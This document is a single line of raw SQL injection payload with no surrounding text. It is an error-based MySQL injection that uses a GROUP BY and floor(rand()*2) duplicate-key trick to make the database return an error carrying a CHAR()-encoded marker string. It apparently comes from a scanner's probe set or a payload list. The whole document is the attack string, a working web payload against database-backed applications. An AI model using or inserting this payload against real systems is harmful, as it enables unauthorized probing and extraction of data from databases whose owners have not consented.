(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(99),CHAR(98),CHAR(115),CHAR(110),CHAR(103),CHAR(109),CHAR(99),CHAR(109)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))